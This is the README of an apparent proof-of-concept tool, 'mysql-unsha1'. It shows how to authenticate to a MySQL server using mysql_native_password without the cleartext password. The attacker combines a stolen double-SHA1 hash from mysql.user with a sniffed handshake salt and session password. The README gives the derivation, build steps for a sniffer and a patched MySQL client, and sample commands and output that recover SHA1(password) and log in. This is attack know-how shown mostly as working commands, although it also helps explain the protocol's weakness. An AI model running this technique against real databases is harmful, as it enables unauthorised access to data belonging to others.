mysql-unsha1
Authenticate against a MySQL server without knowing the cleartext password.
Abstract
This PoC shows how it is possible to authenticate against a MySQL server under
certain circumstances without knowing the cleartext password when the Secure
Password Authentication authentication plugin (aka mysql_native_password
, the
default method) is used.
Preconditions are:
-
to obtain a read-only access to the
mysql.user
table in the target database in order to fetch the hashed password for a given user; -
to be able to intercept a successful authentication handshake performed by the aforementioned user (i.e., authentication via SSL would nullify this attempt).
Note: This is not a bug nor a vulnerability in MySQL (this is hardly an exploit actually), it is just a direct consequence of how the authentication protocol works. If an attacker is able to satisfy the above points then the whole system is probably already compromised. Yet this exploit may offer an alternative approach to obtain a proper authenticated access to a MySQL server.
MySQL server passwords
By default, passwords are stored in the mysql.user
table and are hashed using
the PASSWORD
function which is just a two-stage SHA1 digest:
mysql> SELECT DISTINCT password FROM mysql.user WHERE user = 'root';
*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
mysql> SELECT PASSWORD('password');
*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
mysql> SELECT SHA1(UNHEX(SHA1('password')));
2470c0c06dee42fd1618bb99005adca2ec9d1e19
The handshake
After the TCP connection phase, initiated by the client, the MySQL authentication handshake continues as follows (simplified):
-
the server sends a
Server Greeting
packet containing a salt (s
); -
the client replies with a
Login Request
packet containing the session password (x
), computed as follows:x := SHA1(password) XOR SHA1(s + SHA1(SHA1(password)))
where
password
is the cleartext password as provided by the user and+
is a mere string concatenation operator; -
the server can verify the challenge and authenticate the client if:
SHA1(x XOR SHA1(s + SHA1(SHA1(password)))) = SHA1(SHA1(password))
where
SHA1(SHA1(password))
is the two-stage SHA1 digest of the password, stored in themysql.user
table; the server does not know the cleartext password nor its SHA1 digest.
The exploit
With enough information an attacker is able to obtain SHA1(password)
and
therefore to solve the server challenge without the knowledge of the cleartext
password.
Let:
-
h
be the hashed password obtained from themysql.user
table (i.e.,SHA1(SHA1(password))
); -
s
andx
be the salt and the session password respectively obtained from the intercepted handshake.
The first-stage SHA1 can be obtained as follows:
SHA1(password) = x XOR SHA1(s + h)
Tools
To ease the reproducibility of the exploit, this PoC provides two tools:
-
a simple sniffer to extract and check the handshake information either live or offline from a PCAP file;
-
a patch for MySQL client which allows to treat the prompted passwords as SHA1 digests instead of cleartexts.
The sniffer
To build mysql-unsha1-sniff
just run make
(or make static
to produce a
statically linked executable). The Makefile will look for the uthash.h
file in
this directory and will download it if not found.
Run mysql-unsha1-sniff
without arguments to display the usage message.
In accordance with the previous example:
sudo ./mysql-unsha1-sniff -i lo 127.0.0.1 3306 2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19:root
Once a successful authentication handshake is captured the output will be like:
[+] Input:
[+] - username ........................ 'root'
[+] - salt ............................ 3274756c42415d3429717e482a3776704d706b49
[+] - client session password ......... 6d45a453b989ad0ff0c84daf623e9870f129c329
[+] - SHA1(SHA1(password)) ............ 2470c0c06dee42fd1618bb99005adca2ec9d1e19
[+] Output:
[+] - SHA1(password) .................. 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
[+] Check:
[+] - computed SHA1(SHA1(password)) ... 2470c0c06dee42fd1618bb99005adca2ec9d1e19
[+] - authentication status ........... OK
If no account information are provided, the tool will only display the salt and the session password.
The patched MySQL client
Building the MySQL client may take some time and requires a certain amount of free disk space:
-
download and extract the MySQL source code:
wget https://github.com/mysql/mysql-server/archive/mysql-5.7.17.tar.gz tar xf mysql-5.7.17.tar.gz cd mysql-server-mysql-5.7.17
-
apply the patch:
patch -p1 </path/to/mysql-server-unsha1.patch
-
build (without server) with:
mkdir build cd build cmake -DDOWNLOAD_BOOST=1 -DWITH_BOOST=boost -DWITHOUT_SERVER:BOOL=ON .. make -j$(nproc)
-
the client executable will be created at
client/mysql
, optionally install it globally and delete the whole source code to save some space:sudo cp client/mysql /usr/local/bin/mysql-unsha1 cd ../.. rm -fr mysql-server-mysql-5.7.17
Use mysql-unsha1
as the original MySQL client, just remember that the
--password[=password], -p[password]
option now requires a 40-digit hexadecimal
SHA1 string.
In accordance with the previous example:
mysql-unsha1 -h 127.0.0.1 -P 3306 -u root --password=5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
Where:
mysql> SELECT SHA1(UNHEX('5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8'));
2470c0c06dee42fd1618bb99005adca2ec9d1e19
and 2470c0c06dee42fd1618bb99005adca2ec9d1e19
is the hashed password stored in
the mysql.user
table.